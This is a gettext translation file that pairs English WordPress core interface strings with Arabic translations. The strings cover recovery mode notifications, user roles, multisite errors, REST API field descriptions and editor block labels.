#. Accessibility text.
#: wp-includes/media-template.php:161 wp-admin/includes/media.php:3230
msgid "<a href=\"%1$s\" %2$s>Learn how to describe the purpose of the image%3$s</a>. Leave empty if the image is purely decorative."
msgstr "<a href=\"%1$s\" %2$s>تعرف على كيفية وصف الغرض من الصورة%3$s</a>. اتركه فارغاً إذا كانت الصورة زخرفية أو عنصر تزيين بشكل عام."

#. translators: %s: Theme name.
#: wp-includes/class-wp-recovery-mode-email-service.php:286
msgid "In this case, WordPress caught an error with your theme, %s."
msgstr "في هذه الحالة، اكتشف ووردبريس خطأً في قالبك، %s."

#. translators: %s: Plugin name.
#: wp-includes/class-wp-recovery-mode-email-service.php:280
msgid "In this case, WordPress caught an error with one of your plugins, %s."
msgstr "في هذه الحالة، اكتشف ووردبريس خطأً بأحد إضافاتك، %s."

#. translators: Do not translate LINK, EXPIRES, CAUSE, DETAILS, SITEURL,
#. PAGEURL, SUPPORT. DEBUG: those are placeholders.
#: wp-includes/class-wp-recovery-mode-email-service.php:153
msgid ""
"Howdy!\n"
"\n"
"WordPress has a built-in feature that detects when a plugin or theme causes a fatal error on your site, and notifies you with this automated email.\n"
"###CAUSE###\n"
"First, visit your website (###SITEURL###) and check for any visible issues. Next, visit the page where the error was caught (###PAGEURL###) and check for any visible issues.\n"
"\n"
"###SUPPORT###\n"
"\n"
"If your site appears broken and you can't access your dashboard normally, WordPress now has a special \"recovery mode\". This lets you safely login to your dashboard and investigate further.\n"
"\n"
"###LINK###\n"
"\n"
"To keep your site safe, this link will expire in ###EXPIRES###. Don't worry about that, though: a new link will be emailed to you if the error occurs again after it expires.\n"
"\n"
"When seeking help with this issue, you may be asked for some of the following information:\n"
"###DEBUG###\n"
"\n"
"###DETAILS###"
msgstr ""
"مرحبًا!\n"
"\n"
"ووردبريس لديه ميزة تكشف عندما يتسبب قالب أو إضافة ما في حدوث خطأ فادح على موقعك، ويتم إبلاغك تلقائيًا عبر البريد الإلكتروني.\n"
"###CAUSE###\n"
"\n"
"أولاً، قم بزيارة موقعك (###SITEURL###) وتحقق من أي مشاكل مرئية. بعد ذلك، قم بزيارة الصفحة التي تم اكتشاف الخطأ فيها (###PAGEURL###) وتحقق من وجود أي مشاكل مرئية.\n"
"\n"
"###SUPPORT###\n"
"\n"
"إذا ظهر موقعك معطلاً ولم تتمكن من الوصول إلى لوحة التحكم بشكل طبيعي، فإن ووردبريس لديه الآن وضع خاص بـ \"وضع الاسترداد\". يتيح لك ذلك تسجيل الدخول بأمان إلى لوحة التحكم الخاصة بك لمواصلة التحقق.\n"
"\n"
"###LINK###\n"
"\n"
"للحفاظ على أمان موقعك، ستنتهي صلاحية هذا الرابط في ###EXPIRES###. لا تقلق بشأن ذلك، على الرغم من ذلك: سيتم إرسال رابط جديد إليك عبر البريد الإلكتروني في حالة حدوث الخطأ مرة أخرى بعد انتهاء صلاحيته.\n"
"\n"
"عند طلب المساعدة لحل هذه المشكلة، قد يُطلب منك بعض المعلومات التالية:\n"
"###DEBUG###\n"
"\n"
"###DETAILS###"

#: wp-includes/class-wp-recovery-mode-email-service.php:141
msgid "Please contact your host for assistance with investigating this issue further."
msgstr "يرجى التواصل مع مستضيفك للحصول على المساعدة في التحقق من هذه المشكلة بشكل أكبر."

#: wp-includes/class-wp-recovery-mode.php:178
msgid "Error occurred on a non-protected endpoint."
msgstr "حدث خطأ في نقطة نهاية غير محمية."

#. translators: %s: Login screen title.
#. translators: %s: Admin screen title.
#: wp-login.php:76 wp-admin/admin-header.php:73
msgid "Recovery Mode &#8212; %s"
msgstr "وضع الاسترداد &#8212; %s"

#. translators: Login details notification email subject. %s: Site title.
#: wp-includes/pluggable.php:2212
msgid "[%s] Login Details"
msgstr "[%s] تفاصيل تسجيل الدخول"

#: wp-includes/media-template.php:569 wp-includes/media-template.php:732
#: wp-includes/media.php:4622 wp-admin/comment.php:138
#: wp-admin/edit-form-comment.php:242
#: wp-admin/includes/class-wp-comments-list-table.php:382
#: wp-admin/includes/class-wp-media-list-table.php:187
#: wp-admin/includes/class-wp-posts-list-table.php:448
#: wp-admin/includes/media.php:1736 wp-admin/includes/meta-boxes.php:368
#: wp-admin/includes/meta-boxes.php:472
msgid "Move to Trash"
msgstr "نقل إلى سلة المُهملات"

#: wp-includes/media-template.php:567 wp-includes/media-template.php:730
#: wp-includes/media.php:4623
msgid "Restore from Trash"
msgstr "استعادة من سلة المُهملات"

#: wp-includes/admin-bar.php:187
msgid "Support"
msgstr "الدعم"

#: wp-includes/admin-bar.php:188 wp-includes/class-wpdb.php:1271
#: wp-includes/class-wpdb.php:2085 wp-includes/class-wpdb.php:2245
#: wp-includes/customize/class-wp-customize-themes-section.php:90
#: wp-includes/load.php:180
#: wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:150
#: wp-includes/update.php:207 wp-includes/update.php:445
#: wp-includes/update.php:726 wp-login.php:1251
#: wp-admin/includes/class-wp-automatic-updater.php:876
#: wp-admin/includes/class-wp-automatic-updater.php:1310
#: wp-admin/includes/plugin-install.php:181
#: wp-admin/includes/plugin-install.php:196
#: wp-admin/includes/plugin-install.php:211 wp-admin/includes/theme.php:569
#: wp-admin/includes/theme.php:583 wp-admin/includes/theme.php:598
#: wp-admin/includes/translation-install.php:66
#: wp-admin/includes/translation-install.php:80
#: wp-admin/includes/translation-install.php:92
#: wp-admin/includes/update.php:141 wp-admin/theme-install.php:65
msgid "https://wordpress.org/support/forums/"
msgstr "https://ar.wordpress.org/support/forums/"

#. translators: Site admin email change notification email subject. %s: Site
#. title.
#: wp-includes/functions.php:7697
msgid "[%s] Admin Email Changed"
msgstr "[%s] تم تغيير البريد الإلكتروني للمدير"

#. translators: New email address notification email subject. %s: Site title.
#: wp-includes/user.php:3735
msgid "[%s] Email Change Request"
msgstr "[%s] طلب تغيير البريد الإلكتروني"

#. translators: Email change notification email subject. %s: Site title.
#: wp-includes/user.php:2673
msgid "[%s] Email Changed"
msgstr "[%s] تم تغيير البريد الإلكتروني"

#. translators: Network admin email change notification email subject. %s:
#. Network title.
#: wp-includes/ms-functions.php:2850
msgid "[%s] Network Admin Email Changed"
msgstr "[%s] تم تغيير البريد الإلكتروني لمدير الشبكة"

#. translators: Email change notification email subject. %s: Network title.
#: wp-includes/ms-functions.php:2787
msgid "[%s] Network Admin Email Change Request"
msgstr "[%s] طلب تغيير البريد الإلكتروني لمدير الشبكة"

#: wp-includes/widgets/class-wp-widget-calendar.php:34
msgid "A calendar of your site’s posts."
msgstr "إضافة تقويم لمقالات موقعك."

#: wp-includes/media.php:4649
msgid "Edit gallery"
msgstr "تحرير المعرض"

#: wp-includes/class-wp-recovery-mode.php:189
msgid "Failed to store the error."
msgstr "فشل في تخزين الخطأ."

#: wp-includes/class-wp-recovery-mode.php:173
msgid "Error not caused by a plugin or theme."
msgstr "خطأ لم ينتج بسبب إضافة أو قالب."

#. translators: %s: Site title.
#: wp-includes/class-wp-recovery-mode-email-service.php:200
msgid "[%s] Your Site is Experiencing a Technical Issue"
msgstr "[%s]  موقعك يواجه مشكلة فنية"

#: wp-includes/class-wp-recovery-mode.php:243
msgid "Exit recovery mode link expired."
msgstr "انتهت صلاحية رابط الخروج من وضع الاسترداد."

#: wp-includes/class-wp-recovery-mode.php:247
msgid "Failed to exit recovery mode. Please try again later."
msgstr "فشل في الخروج من وضع الاسترداد. يرجى معاودة المحاولة لاحقًا."

#. translators: User role for administrators.
#: wp-includes/capabilities.php:1263
msgctxt "User role"
msgid "Administrator"
msgstr "مدير"

#. translators: User role for editors.
#: wp-includes/capabilities.php:1265
msgctxt "User role"
msgid "Editor"
msgstr "محرر"

#. translators: User role for authors.
#: wp-includes/capabilities.php:1267
msgctxt "User role"
msgid "Author"
msgstr "كاتب"

#. translators: User role for contributors.
#: wp-includes/capabilities.php:1269
msgctxt "User role"
msgid "Contributor"
msgstr "مساهم"

#. translators: User role for subscribers.
#: wp-includes/capabilities.php:1271
msgctxt "User role"
msgid "Subscriber"
msgstr "مشترك"

#: wp-includes/class-wp-recovery-mode-email-service.php:126
msgid "Error Details"
msgstr "تفاصيل الخطأ"

#: wp-includes/class-wp-recovery-mode-key-service.php:122
msgid "Recovery key expired."
msgstr "انتهت صلاحية مفتاح الاسترداد."

#: wp-includes/class-wp-recovery-mode-key-service.php:118
msgid "Invalid recovery key."
msgstr "مفتاح الاسترداد غير صالح."

#: wp-includes/class-wp-recovery-mode-key-service.php:109
msgid "Invalid recovery key format."
msgstr "تنسيق مفتاح الاسترداد غير صالح."

#: wp-includes/class-wp-recovery-mode-key-service.php:101
msgid "Recovery Mode not initialized."
msgstr "وضع الاسترداد غير مهيأ."

#: wp-includes/customize/class-wp-customize-media-control.php:246
msgid "Select site icon"
msgstr "تحديد أيقونة الموقع"

#. translators: 1: Last sent as a human time diff, 2: Wait time as a human time
#. diff.
#: wp-includes/class-wp-recovery-mode-email-service.php:80
msgid "A recovery link was already sent %1$s ago. Please wait another %2$s before requesting a new email."
msgstr "تمّ إرسال رابط الاسترداد بالفعل منذ %1$s. يرجى الانتظار لمدة %2$s قبل تقديم طلب بريد إلكتروني جديد."

#. translators: %s: mail()
#: wp-includes/class-wp-recovery-mode-email-service.php:72
msgid "The email could not be sent. Possible reason: your host may have disabled the %s function."
msgstr "تعذر إرسال البريد الإلكتروني. السبب المُحتمل: ربما قد يكون مستضيفك قام بتعطيل وظيفة %s."

#: wp-includes/class-wp-recovery-mode-email-service.php:59
msgid "Could not update the email last sent time."
msgstr "تعذر تحديث البريد الإلكتروني الذي تم إرساله مؤخرًا."

#: wp-includes/user.php:4593
msgid "An incomplete personal data request for this email address already exists."
msgstr "يوجد بالفعل طلب بيانات شخصية غير مكتمل لعنوان البريد الإلكتروني هذا."

#: wp-login.php:1167 wp-admin/includes/ajax-actions.php:4858
#: wp-admin/includes/ajax-actions.php:5048
msgid "Missing request ID."
msgstr "معرّف الطلب مفقود."

#: wp-login.php:1171
msgid "Missing confirm key."
msgstr "مفتاح التأكيد مفقود."

#. translators: Hidden accessibility text. %s: Number of comments.
#. translators: %s: Number of comments.
#: wp-includes/admin-bar.php:981 wp-admin/includes/ajax-actions.php:481
#: wp-admin/includes/ajax-actions.php:552
#: wp-admin/includes/ajax-actions.php:1424 wp-admin/includes/dashboard.php:343
#: wp-admin/menu.php:94
msgid "%s Comment in moderation"
msgid_plural "%s Comments in moderation"
msgstr[0] "لا تعليق بانتظار الموافقة"
msgstr[1] "تعليق واحد بانتظار الموافقة"
msgstr[2] "تعليقان بإنتظار الموافقة"
msgstr[3] "%s تعليقات بانتظار الموافقة"
msgstr[4] "%s تعليق بانتظار الموافقة"
msgstr[5] "%s تعليق بانتظار الموافقة"

#: wp-content/plugins/hello.php:62 hello.php:62
msgid "Quote from Hello Dolly song, by Jerry Herman:"
msgstr "اقتباس من أغنية Hello Dolly، بواسطة Jerry Herman:"

#. translators: %s: The amount of additional, not visible images in the gallery
#. widget preview.
#: wp-includes/widgets/class-wp-widget-media-gallery.php:218
msgid "Additional images added to this gallery: %s"
msgstr "الصور الإضافية المضافة إلى هذا المعرض: %s"

#: wp-includes/class-wp-theme.php:375
#: wp-admin/includes/class-theme-upgrader.php:588
#: wp-admin/includes/class-wp-themes-list-table.php:285
#: wp-admin/theme-editor.php:44 wp-admin/theme-editor.php:376
#: wp-admin/update-core.php:651
msgid "https://developer.wordpress.org/themes/advanced-topics/child-themes/"
msgstr "https://developer.wordpress.org/themes/advanced-topics/child-themes/"

#: wp-includes/class-wp-recovery-mode-cookie-service.php:80
#: wp-includes/class-wp-recovery-mode-cookie-service.php:129
msgid "No cookie present."
msgstr "لا يوجد ملف تعريف ارتباط."

#: wp-includes/class-wp-recovery-mode-cookie-service.php:95
#: wp-includes/class-wp-recovery-mode-cookie-service.php:158
msgid "Invalid cookie format."
msgstr "تنسيق ملف تعريف الارتباط غير صالح."

#: wp-includes/class-wp-recovery-mode-cookie-service.php:102
msgid "Cookie expired."
msgstr "انتهت صلاحية ملف تعريف الارتباط."

#: wp-includes/class-wp-recovery-mode-cookie-service.php:109
msgid "Invalid cookie."
msgstr "ملف تعريف ارتباط غير صالح."

#: wp-login.php:1368
msgid "Recovery Mode Initialized. Please log in to continue."
msgstr "تمّ تهيئة وضع الاسترداد. يرجى تسجيل الدخول للمتابعة."

#. translators: %s: The image file name.
#. Translators: %s: The selected image filename.
#: wp-includes/widgets/class-wp-widget-media-gallery.php:204
#: wp-includes/widgets/class-wp-widget-media-image.php:364
#: wp-includes/js/dist/editor.js:7600
msgid "The current image has no alternative text. The file name is: %s"
msgstr "الصورة الحالية ليس لديها نص بديل. اسم الملف هو: %s"

#. translators: 1: Error type, 2: Error line number, 3: Error file name, 4:
#. Error message.
#: wp-includes/error-protection.php:63
msgid "An error of type %1$s was caused in line %2$s of the file %3$s. Error message: %4$s"
msgstr "حدث خطأ من نوع %1$s بسبب السطر %2$s في الملف %3$s. رسالة الخطأ: %4$s"

#: wp-login.php:149
msgid "Usage of the title attribute on the login logo is not recommended for accessibility reasons. Use the link text instead."
msgstr "لا ينصح باستخدام سمة خصائص العنوان على شعار تسجيل الدخول لأسباب تتعلق بإمكانية الوصول. استخدم نص الرابط بدلاً من ذلك."

#: wp-includes/admin-bar.php:1168
msgid "Exit Recovery Mode"
msgstr "الخروج من وضع الاسترداد"

#: wp-includes/class-wp-customize-widgets.php:804
msgid "Keep widget settings and move it to the inactive widgets"
msgstr "الحفاظ على إعدادات الودجت ونقله إلى الودجات غير النشطة"

#: wp-login.php:1261
msgid "https://wordpress.org/documentation/article/cookies/#enable-cookies-in-your-browser"
msgstr "https://wordpress.org/documentation/article/cookies/#enable-cookies-in-your-browser"

#: wp-includes/functions.php:8125
msgid "Update PHP"
msgstr "تحديث PHP"

#: wp-includes/ms-site.php:79
msgid "Could not retrieve site data."
msgstr "تعذر استرجاع بيانات الموقع."

#. translators: %s: rest_api_init
#: wp-includes/rest-api.php:59
msgid "REST API routes must be registered on the %s action."
msgstr "مسارات الـ REST API يجب أن تكون مسجلة عبر الإجراء %s."

#. translators: Used to join last two items in a list with more than 2 times.
#: wp-includes/formatting.php:5237
msgid "%1$s, and %2$s"
msgstr "%1$s، و %2$s"

#. translators: %s: Number of failed requests.
#: wp-includes/post.php:681
msgid "Failed <span class=\"count\">(%s)</span>"
msgid_plural "Failed <span class=\"count\">(%s)</span>"
msgstr[0] "فشل <span class=\"count\">(%s)</span>"
msgstr[1] "فشل <span class=\"count\">(%s)</span>"
msgstr[2] "فشل <span class=\"count\">(%s)</span>"
msgstr[3] "فشل <span class=\"count\">(%s)</span>"
msgstr[4] "فشل <span class=\"count\">(%s)</span>"
msgstr[5] "فشل <span class=\"count\">(%s)</span>"

#. translators: %s: Database table name.
#: wp-includes/ms-site.php:1300
msgid "The %s table is not installed. Please run the network database upgrade."
msgstr "الجدول %s لم يتم تنصيبه. يرجى تشغيل ترقية قاعدة بيانات الشبكة."

#: wp-includes/blocks/comment-content.php:44
#: wp-includes/class-walker-comment.php:315
#: wp-includes/class-walker-comment.php:419
msgid "Your comment is awaiting moderation. This is a preview; your comment will be visible after it has been approved."
msgstr "تعليقك في انتظار المراجعة. هذه معاينة؛ سيكون تعليقك مرئيًا بعد الموافقة عليه."

#. translators: %d: Site ID.
#: wp-includes/ms-site.php:661
msgid "Site %d"
msgstr "الموقع %d"

#: wp-includes/taxonomy.php:177
msgctxt "post format"
msgid "Formats"
msgstr "تنسيقات"

#: wp-includes/ms-functions.php:2122
msgid "Unable to submit this form, please try again."
msgstr "يتعذر إرسال هذا النموذج، يرجى المحاولة مرة أخرى."

#: wp-includes/ms-site.php:69
msgid "Could not insert site into the database."
msgstr "لا يمكن إدراج موقع إلى قاعدة البيانات."

#: wp-includes/ms-site.php:161 wp-includes/ms-site.php:214
#: wp-includes/ms-site.php:639 wp-includes/ms-site.php:770
msgid "Site ID must not be empty."
msgstr "يجب أن لا يكون مُعرّف الموقع فارغاً."

#: wp-includes/ms-site.php:166 wp-includes/ms-site.php:219
msgid "Site does not exist."
msgstr "الموقع غير موجود."

#: wp-includes/ms-site.php:180
msgid "Could not update site in the database."
msgstr "لا يمكن تحديث الموقع في قاعدة البيانات."

#: wp-includes/ms-site.php:269
msgid "Could not delete site from the database."
msgstr "لا يمكن حذف الموقع من قاعدة البيانات."

#: wp-includes/ms-site.php:560
msgid "Site domain must not be empty."
msgstr "يجب أن لا يكون نطاق الموقع فارغاً."

#: wp-includes/ms-site.php:565
msgid "Site path must not be empty."
msgstr "يجب أن لا يكون مسار الموقع فارغاً."

#: wp-includes/ms-site.php:570
msgid "Site network ID must be provided."
msgstr "يجب توفير معرّف شبكة الموقع."

#: wp-includes/ms-site.php:644 wp-includes/ms-site.php:775
msgid "Site with the ID does not exist."
msgstr "الموقع مع المعرّف غير موجود."

#: wp-includes/ms-site.php:648
msgid "The site appears to be already initialized."
msgstr "يبدو أن الموقع تمّت تهيئته بالفعل."

#: wp-includes/ms-site.php:779
msgid "The site appears to be already uninitialized."
msgstr "يبدو أن الموقع غير مهيأ بالفعل."

#: wp-includes/ms-site.php:588
msgid "Both registration and last updated dates must be valid dates."
msgstr "يجب أن تكون التواريخ صالحة في كل من تاريخ التسجيل وتواريخ التحديثات الأخيرة."

#: wp-includes/ms-site.php:577
msgid "Both registration and last updated dates must be provided."
msgstr "يجب توفير كل من تاريخ التسجيل وتواريخ التحديثات الأخيرة."

#. translators: Used to join items in a list with more than 2 items.
#: wp-includes/formatting.php:5235
msgid "%1$s, %2$s"
msgstr "%1$s، %2$s"

#. translators: %s: Time duration in minute or minutes.
#: wp-includes/functions.php:556
msgid "%s minute"
msgid_plural "%s minutes"
msgstr[0] "%s دقيقة"
msgstr[1] "دقيقة واحدة"
msgstr[2] "دقيقتان"
msgstr[3] "%s دقائق"
msgstr[4] "%s دقيقة"
msgstr[5] "%s دقيقة"

#. translators: 1: A number of pixels wide, 2: A number of pixels tall.
#: wp-includes/media-template.php:460 wp-includes/media-template.php:699
msgid "%1$s by %2$s pixels"
msgstr "%1$s × %2$s بيكسل"

#. translators: Time difference between two dates, in seconds. %s: Number of
#. seconds.
#. translators: %s: Time duration in second or seconds.
#: wp-includes/formatting.php:3821 wp-includes/functions.php:562
msgid "%s second"
msgid_plural "%s seconds"
msgstr[0] "%s ثانية"
msgstr[1] "ثانية واحدة"
msgstr[2] "ثانيتين"
msgstr[3] "%s ثواني"
msgstr[4] "%s ثانية"
msgstr[5] "%s ثانية"

#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:401
msgid "Whether a taxonomy is intended for use publicly either via the admin interface or by front-end users."
msgstr "ما إذا كان القصد من الفئة هو استخدامها بشكل عام، إما عبر واجهة مدير الموقع أو من خلال واجهة الموقع للمستخدمين."

#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:405
msgid "Whether the taxonomy is publicly queryable."
msgstr "ما إذا كانت الفئة صالحة بشكل عام."

#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:409
msgid "Whether to generate a default UI for managing this taxonomy."
msgstr "ما إذا كان سيتم إنشاء واجهة مستخدم (UI) افتراضية لإدارة هذه الفئة."

#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:421
msgid "Whether to show the taxonomy in the quick/bulk edit panel."
msgstr "إمكانية مشاهدة الفئة في لوحة التحرير السريع/المتعدد."

#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:417
msgid "Whether to make the taxonomy available for selection in navigation menus."
msgstr "إمكانية جعل الفئة متاحة للاختيار في قوائم التصفح."

#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:413
msgid "Whether to allow automatic creation of taxonomy columns on associated post-types table."
msgstr "إمكانية السماح بالانشاء الآلي لأعمدة الفئات في جدول أنواع المقالات المرتبط."

#. translators: %s: Default Update PHP page URL.
#: wp-includes/functions.php:8068
msgid "This resource is provided by your web host, and is specific to your site. For more information, <a href=\"%s\" target=\"_blank\">see the official WordPress documentation</a>."
msgstr "هذه الموارد التي يوفرها لك مستضيف الويب الخاص بك، وهي محددة لموقعك. لمزيد من المعلومات، <a href=\"%s\" target=\"_blank\">راجع وثائق ووردبريس الرسمية</a>."

#: wp-includes/functions.php:8025
msgctxt "localized PHP upgrade information page"
msgid "https://wordpress.org/support/update-php/"
msgstr "https://ar.wordpress.org/support/update-php/"

#: wp-includes/class-wp-theme.php:483
msgid "This theme failed to load properly and was paused within the admin backend."
msgstr "فشل تحميل هذا القالب بشكل صحيح وتم إيقافه مؤقتًا داخل لوحة تحكم المدير."

#: wp-includes/user.php:2862 wp-includes/user.php:3068
#: wp-includes/user.php:3122
msgid "<strong>Error:</strong> There is no account with that username or email address."
msgstr "<strong>خطأ:</strong> لا يوجد حساب باسم المستخدم أو عنوان البريد الإلكتروني هذا."

#: wp-activate.php:30
msgid "A key value mismatch has been detected. Please follow the link provided in your activation email."
msgstr "تم اكتشاف عدم تطابق قيمة أساسية. يرجى اتبّاع الرابط الذي تم تقديمه في البريد الإلكتروني للتنشيط."

#: wp-includes/class-wp.php:311 wp-includes/ms-deprecated.php:277
#: wp-includes/ms-deprecated.php:296
msgid "A variable mismatch has been detected."
msgstr "تمّ اكتشاف عدم تطابق متغيّر."

#: wp-includes/class-wp-editor.php:1395
msgid "Classic Block Keyboard Shortcuts"
msgstr "اختصارات لوحة المفاتيح للمكوّن التقليدي"

#: wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:166
msgid "Sorry, you are not allowed to view autosaves of this post."
msgstr "عذرًا، غير مسموح لك بمشاهدة الحفظ التلقائي لهذه المقالة."

#: wp-includes/js/dist/block-library.js:54417
#: wp-includes/js/dist/edit-post.js:7381 wp-includes/js/dist/edit-site.js:6923
#: wp-includes/js/dist/edit-site.js:7271 wp-admin/options-privacy.php:271
msgid "Create"
msgstr "إنشاء"

#: wp-includes/blocks/quote/block.json
msgctxt "block description"
msgid "Give quoted text visual emphasis. \"In quoting others, we cite ourselves.\" — Julio Cortázar"
msgstr "منح النصّ المقتبس تركيزاً بصرياً. \"في اقتباسات الآخرين، نحن نذكّر أنفسنا.\" — خوليو كورتاثر"

#: wp-includes/blocks/query-pagination.php:24
#: wp-admin/includes/class-wp-screen.php:1276
msgid "Pagination"
msgstr "تعدد الصفحات"

#: wp-includes/js/dist/block-library.js:16722
#: wp-admin/includes/class-wp-media-list-table.php:862
msgid "Copy URL"
msgstr "نسخ الرابط URL"

#: wp-includes/media.php:4661 wp-includes/js/dist/block-library.js:24483
#: wp-includes/js/dist/block-library.js:24484
msgid "Edit image"
msgstr "تحرير الصورة"

#: wp-includes/blocks/heading/block.json
msgctxt "block description"
msgid "Introduce new sections and organize content to help visitors (and search engines) understand the structure of your content."
msgstr "تقديم أقسام جديدة وتنظيم المحتوى لمساعدة الزوّار (ومحركات البحث) لفهم بنية المحتوى الخاص بك."

#: wp-includes/js/dist/block-library.js:15252
#: wp-includes/blocks/embed/block.json
msgctxt "block title"
msgid "Embed"
msgstr "تضمين"

#: wp-includes/blocks/embed/block.json
msgctxt "block description"
msgid "Add a block that displays content pulled from other sites, like Twitter or YouTube."
msgstr "إضافة مكوّن يعرض محتوى تم سحبه من مواقع أخرى، مثل Twitter أو YouTube."

#: wp-includes/blocks/freeform/block.json
msgctxt "block title"
msgid "Classic"
msgstr "تقليدي"

#: wp-includes/blocks/block/block.json
msgctxt "block description"
msgid "Create and save content to reuse across your site. Update the block, and the changes apply everywhere it’s used."
msgstr "قم بإنشاء محتوى واحفظه لإعادة استخدامه عبر موقعك. حدّث المكوّن، وسيتم تطبيق التغييرات في كل مكان استخدُم فيه المكوّن."

#: wp-includes/js/dist/edit-post.js:5203 wp-includes/js/dist/edit-post.js:8013
#: wp-admin/includes/meta-boxes.php:1668 wp-admin/menu.php:389
msgid "Discussion"
msgstr "مناقشة"

#: wp-includes/js/dist/blocks.js:8306 wp-admin/options-media.php:119
msgid "Embeds"
msgstr "تضمينات"

#: wp-includes/js/dist/editor.js:12188 wp-admin/edit-form-advanced.php:519
#: wp-admin/edit-form-blocks.php:196
msgid "Add title"
msgstr "إضافة عنوان"

#: wp-includes/js/dist/editor.js:10898 wp-admin/includes/meta-boxes.php:174
msgid "Visibility:"
msgstr "الظهور:"

#: wp-includes/media-template.php:541 wp-includes/media-template.php:786
#: wp-includes/js/dist/components.js:35871 wp-includes/js/dist/editor.js:11049
#: wp-admin/async-upload.php:73
#: wp-admin/includes/class-wp-media-list-table.php:863
#: wp-admin/includes/class-wp-privacy-policy-content.php:426
#: wp-admin/includes/media.php:3346 wp-admin/site-health-info.php:55
msgid "Copied!"
msgstr "تم النسخ!"

#: wp-includes/js/dist/editor.js:8617 wp-admin/includes/meta-boxes.php:395
#: wp-admin/includes/meta-boxes.php:396
msgid "Submit for Review"
msgstr "إرسال للمراجعة"

#: wp-includes/js/dist/editor.js:6671
#: wp-admin/includes/class-wp-posts-list-table.php:1824
#: wp-admin/includes/media.php:1412 wp-admin/includes/media.php:2578
#: wp-admin/includes/meta-boxes.php:1061
msgid "Order"
msgstr "ترتيب"

#: wp-includes/media.php:4659 wp-includes/js/dist/block-library.js:19649
msgid "Replace image"
msgstr "استبدال الصورة"

#: wp-includes/js/dist/editor.js:7317 wp-admin/includes/meta-boxes.php:842
msgid "Allow comments"
msgstr "السماح بالتعليقات"

#: wp-includes/js/dist/components.js:57773
#: wp-admin/includes/edit-tag-messages.php:14
msgid "Item added."
msgstr "تمّ إضافة العنصر."

#. translators: Hidden accessibility text.
#. translators: accessibility text
#: wp-includes/class-wp-customize-manager.php:4371
#: wp-includes/class-wp-customize-manager.php:5695
#: wp-includes/class-wp-customize-manager.php:5716
#: wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:58
#: wp-includes/functions.php:8127 wp-includes/media-template.php:167
#: wp-includes/widgets/class-wp-widget-custom-html.php:318 wp-login.php:659
#: wp-includes/js/dist/components.js:55444
#: wp-includes/js/dist/customize-widgets.js:1415
#: wp-includes/js/dist/edit-post.js:3631 wp-includes/js/dist/edit-site.js:16460
#: wp-includes/js/dist/edit-site.js:17157
#: wp-includes/js/dist/edit-widgets.js:3912 wp-includes/js/dist/editor.js:8534
#: wp-admin/includes/class-wp-privacy-policy-content.php:365
#: wp-admin/includes/class-wp-site-health.php:753
#: wp-admin/includes/class-wp-site-health.php:897
#: wp-admin/includes/class-wp-site-health.php:1224
#: wp-admin/includes/class-wp-site-health.php:1464
#: wp-admin/includes/class-wp-site-health.php:1502
#: wp-admin/includes/class-wp-site-health.php:1582
#: wp-admin/includes/class-wp-site-health.php:1664
#: wp-admin/includes/class-wp-site-health.php:1683
#: wp-admin/includes/class-wp-site-health.php:2302
#: wp-admin/includes/class-wp-site-health.php:2335
#: wp-admin/includes/class-wp-site-health.php:2461
#: wp-admin/includes/dashboard.php:1304 wp-admin/includes/dashboard.php:1316
#: wp-admin/includes/dashboard.php:1329 wp-admin/includes/dashboard.php:1901
#: wp-admin/includes/media.php:3236 wp-admin/includes/meta-boxes.php:80
#: wp-admin/includes/theme.php:878
msgid "(opens in a new tab)"
msgstr "(يُفتح في علامة تبويب جديدة)"

#. translators: Abbreviated date/time format, see
#. https://www.php.net/manual/datetime.format.php
#: wp-includes/script-loader.php:442
msgid "M j, Y g:i a"
msgstr " j F، Y g:i a"

#: wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:91
msgid "ID of the post context."
msgstr " رقم معرف سياق المقال."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:171
msgid "Invalid block."
msgstr "مكوّن غير صالح."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:43
msgid "Unique registered name for the block."
msgstr "اسم مُسجل فريد لـ المكوّن."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:214
msgid "The rendered block."
msgstr "مكوّن المقدمة."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:132
msgid "Sorry, you are not allowed to read blocks as this user."
msgstr "عذرًا، غير مسموح لك بقراءة المكوّنات بهذا المستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:122
msgid "Sorry, you are not allowed to read blocks of this post."
msgstr "عذرًا، غير مسموح لك بقراءة المكوّنات لهذه المقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:54
msgid "Attributes for the block."
msgstr "خصائص المكوّن."

#: wp-includes/theme.php:4195
msgid "Whether the theme supports responsive embedded content."
msgstr "ما إذا كان القالب يدعم المحتوى المضمّن المتجاوب."

#. translators: %s: Duration.
#: wp-includes/script-loader.php:428
msgid "%s from now"
msgstr "%s من الآن"

#: wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:377
msgid "There is nothing to save. The autosave and the post content are the same."
msgstr "لا يوجد شيء للتثبيت. الحفظ التلقائي و محتوى المشاركة هما نفس الشيء."

#: wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:277
msgid "There is no autosave revision for this post."
msgstr "لا يوجد مراجعة مثبتة تلقائياً لهذا المقال"

#: wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:332
msgid "Preview link for the post."
msgstr "معاينة رابط المقال."

#. translators: %s: PHP class name.
#: wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:74
msgid "REST search handlers must extend the %s class."
msgstr "معالجات البحث REST يجب أن تتصل بالـ %s class."

#: wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:138
msgid "Internal search handler error."
msgstr "خطأ معالج البحث الداخلي."

#: wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:272
msgid "Object type."
msgstr "نوع الكائن."

